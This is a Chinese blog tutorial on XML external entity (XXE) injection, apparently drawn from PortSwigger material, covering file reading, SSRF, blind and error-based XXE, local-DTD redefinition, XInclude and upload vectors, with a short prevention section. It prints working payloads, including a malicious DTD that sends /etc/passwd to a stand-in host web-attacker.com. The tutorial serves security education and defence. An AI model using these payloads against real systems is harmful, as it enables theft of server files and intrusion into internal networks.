服务端安全之XML外部实体注入(XXE)

本文详细介绍了XXE攻击的原理、种类及其利用方式,包括读取文件内容、执行SSRF、Blind XXE攻击及隐藏攻击面。还探讨了如何发现和防止XXE漏洞,强调了禁用外部实体解析和XInclude的重要性。
摘要由CSDN通过智能技术生成

1. 什么是XXE?

XXE是XML external entity (XXE) injection
在这里插入图片描述

2. XXE是怎么发生的?

XML规范中包含了一些不安全的特性,如果XML parser实现了这些特性,就存在安全隐患。XML external entity是一种自定义XML实体,其定义的值是从声明它们的DTD外部加载的。从安全性的角度来看,外部实体会存在潜在风险,因为它们允许根据文件路径或URL的内容定义实体。

3. XXE攻击的种类

3.1 利用XXE读取文件内容

为了实现这种攻击,有两种方式:
(1)引入(或编辑)DOCTYPE元素,因为这里可以定义指向文件的路径

这里举个例子,假设有一个应用通过提交下面的XML数据来查询库存中产品的信息。

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

如果应用没有做任何XXE防护的话,可以使用下面的payload来利用XXE的漏洞,读取/etc/passwd的内容。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

XXE的payload定义了外部的entity: &xxe; 它的值是文件/etc/passwd的内容,并且在productId中使用。
这就导致应用的response为passwd的内容。

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

3.2 利用XXE执行SSRF

除了上述做文件的读取,XXE另外一个重要的利用是做SSRF,可以探测访问内网所有可访问的IP。
下面的例子是让服务器发起一个内部网络的HTTP请求。

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

3.3 Blind XXE

实际很多XXE都是blind XXE漏洞,也就是说,应用在响应中不会返回任何定义的外部实体信息,所以,像上面介绍的读取服务端文件的操作就无法做到了。但是,blind XXE依然是有办法发现和利用的,只是需要更高级的技术。(1)可以使用out-of-bound技术去发现漏洞,并利用其泄露数据。(2)或者触发XML parsing error,这会导致敏感信息的泄露。

3.3.1 如何发现Blind XXE漏洞?

探测blind XXE漏洞的方法,与3.2节中介绍的做SSRF攻击类似,只是这里请求的服务是攻击者可以控制的。定义外部实体,如下:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

这个XXE攻击会导致服务端发起一个HTTP请求到指定的URL,攻击者可以监控相应的DNS lookup和HTTP请求,从而判断XXE攻击是否成功。

有时,使用常规的实体会被阻拦,这是由于应用对输入做验证或者对XML parser做加固。在这种情况下,可以使用XML参数实体代替。XML参数实体是一种特殊的XML实体,只能在DTD中的其他地方引用。这里有两点需要注意的:
(1)声明参数实体,需要在名称前加%

<!ENTITY % myparameterentity "my parameter entity value" >

(2)使用参数实体时,也使用%,而不是前面介绍的&

%myparameterentity;

那么,使用参数实体的out-of-band技术,就可以写成下面这样:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

3.3.2 使用Out-of-band技术泄露数据

上述的out-of-band技术对于检测blind XXE是很有效的,但是,如何利用out-of-band技术泄露数据,则需要使用攻击者可控的DTD文件。

首先,构建一个恶意的DTD文件,大致内容如下:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/x=%file;'>">
%eval;
%exfiltrate;

上述的DTD执行下面的几步:
(1)定义file参数实体,包含/etc/passwd的内容;
(2)定义eval参数实体,包含另一个参数实体exfiltrate的动态声明,其中,外带的参数x的值是file实体;
(3)使用eval实体,会导致exfiltrate实体的动态声明被执行;
(4)使用exfiltrate实体,会导致out-of-band请求的发出。
攻击者可以在控制的服务端解析和处理相应的参数x,获取想要的数据。

其次,攻击者需要将恶意的DTD部署在自己可控的服务器上,例如,可以将在下面的URL提供恶意的DTD:

http://web-attacker.com/malicious.dtd

最后,攻击者需要将下面的XXE payload提交给应用。

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

这个XXE payload定义了一个xxe的参数实体,并在DTD中使用。这会导致XML parser从攻击者控制的服务器上拉取dtd文件,并内联解析。然后执行恶意DTD中定义的步骤,并将/etc/passwd文件传输到攻击者的服务器。

注意: 这种技术可能不适用于那些包含换行符的文件,这是因为一些XML解析器获取外部实体时,做了字符验证,只允许出现在URL中的字符存在。在这种情况下,可以使用FTP协议,而不是HTTP。有时不能提取包含换行符的数据,可以换其他文件为目标。

3.3.3 使用error messages获取数据

XXE漏洞利用的一个变通方法是利用XML解析错误,在错误信息中包含了潜在的敏感信息。如果应用在响应中返回响应的错误信息,这会是非常有效的方式。我们可以触发一个XML parsing error,包含想要的文件内容。想要的恶意的DTD文件,如下:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

相应的执行步骤可以参看上面的描述,与3.3.2类似。最后,产生的错误信息,如下:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

3.3.4 利用local DTD

前面的技术可以很好地用于外部DTD,但通常不适用于在DOCTYPE元素中完全指定的内部DTD。这是因为该技术涉及到在另一个参数实体的定义中使用XML参数实体。根据XML规范,这在外部DTD中是允许的,但在内部DTD中不允许。(有些解析器可能会容忍它,但很多不是。)当out-of-band交互被阻止时,既不能通过out-of-band连接外发数据,也不能加载外部的DTD,那该怎么办呢?

在这种情况下,由于XML规范的漏洞,依然可以触发error message,可以包含敏感信息。如果文档的DTD混合使用了内部DTD和外部DTD的声明,然后,内部DTD可以重新定义在外部DTD中声明的实体。当这种事发生以后,就放宽了在另一个参数实体的定义中使用XML参数实体的限制。这意味着,攻击者在内部DTD中可以利用3.3.3节介绍的技术,提供他们使用的XML参数实体是重新定义在外部DTD中声明的实体。当然,当out-of-band被阻拦以后,也就无法从外部下载DTD,这是,就需要一个对app server而言,是本地的DTD。本质上,这种攻击包括:(1)调用一个碰巧存在于本地文件系统上的DTD文件(2)利用3.3.3节的技术重新定义一个实体。

下面举个例子,假设有个本地的DTD文件在/usr/local/app/schema.dtd,并且,这个DTD定义了一个实体custom_entity,攻击者可以利用下面的payload获取/etc/passwd

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

上面的payload执行了下面几步:
(1)定义参数实体local_dtd,用于包含本地的外部DTD;
(2)重定义参数实体custom_entity,这个已经在外部实体中定义了。这个实体被重定义成包含error-based XXE exploit(也就是3.3.3节的技术);
(3)使用local_dtd,外部的DTD被解析,重定义的custom_entity也会被执行。

个人理解:这种重定义实体的方式,特别像是函数的重载。

3.3.5 寻找本地的DTD文件

上面3.3.4节介绍的技术,核心是找到一个本地文件系统上存在的DTD文件。方法比较简单粗暴,因为XML parser在解析失败的时候,会跑出错误信息,所以,可以枚举出所有的本地DTD。可以整理出一个系统中存在DTD的路径列表,一个一个尝试。例如,Linux系统中,GNOME桌面环境会有一个DTD文件,放在/usr/share/yelp/dtd/docbookx.dtd,可以使用下面的payload测试这个DTD是否存在。

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

在确定可用的DTD以后,需要再确认一下有没有可用的实体可以被重定义。

3.4 寻找隐藏的攻击面

XXE漏洞的攻击面在很多场景下都是很明显的,因为HTTP请求中包含XML数据。但是,在有些场景下,就不是很显眼了。然而,我们也可以在不包含任何XML数据的情况下,找到XXE的攻击面。

3.4.1 XInclude攻击

有些应用接收客户端请求数据,并将其嵌入到服务端的XML文件中,并解析文件。举个例子,当客户端请求数据被放在服务端的SOAP请求中,并在服务端的SOAP服务上执行。在这类场景中,我们是不能用经典的XXE攻击的,因为我们没法控制整个XML文档,也就没法定义或修改DOCTYPE元素了。但是,我们可以使用XInclude来代替。XML规范中规定,可以允许从子文档中构建XML文档。

在构建XInclude攻击时,需要引入xinclude namespace,并指定想要包含的文件路径。可以参看下面的例子:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>

3.4.2 使用文件上传进行XXE攻击

一些应用允许用户提交数据,然后在服务端处理。一些通用的文件格式,使用XML或者包含XML的组件,如文件格式中的DOCX和图像格式中的SVG。例如,应用允许用户上传图像,服务端做处理。即使服务端期望的图像格式是JPG或PNG,但是,由于图像处理库可能支持SVG格式,而SVG格式支持XML,攻击者可以提交恶意的SVG文件,从而触达XXE漏洞的隐藏攻击面。

3.4.3 通过修改content type进行XXE攻击

大多数POST请求使用默认的content type(有HTML表单自动生成的,如:application/x-www-form-urlencoded)。一些应用期望接收到这样的content type,但是,也能容忍其他类型的content type,如XML。

例如,在正常的请求中,包含下面的信息:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

也可以提交下面的信息,获得同样的效果:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

如果应用容忍请求中包含XML数据,并将body按照XML格式解析,我们就可以利用这一点触发XXE漏洞。

4. 如何寻找XXE漏洞?

大多数的XXE漏洞可以使用Burp Suite’s web vulnerability scanner自动发现,手工挖掘漏洞,通常包括以下基本:
(1)测试文件读取,参考3.1
(2)测试blind XXE漏洞,
(3)测试XInclude攻击等。

5. 如何阻止XXE?

实际上,所有的XXE漏洞的产生都是由于应用的XML parser支持了危险的XML特性导致的。最简单有效的方式是禁用这些特性!通常情况下,禁用外部实体解析和禁用XInclude会非常有效。针对不同的XML parser,可以参考[3]中的细节。

6. 参考

● https://portswigger.net/web-security/xxe
● https://portswigger.net/web-security/xxe/blind
● XXE的预防措施, https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值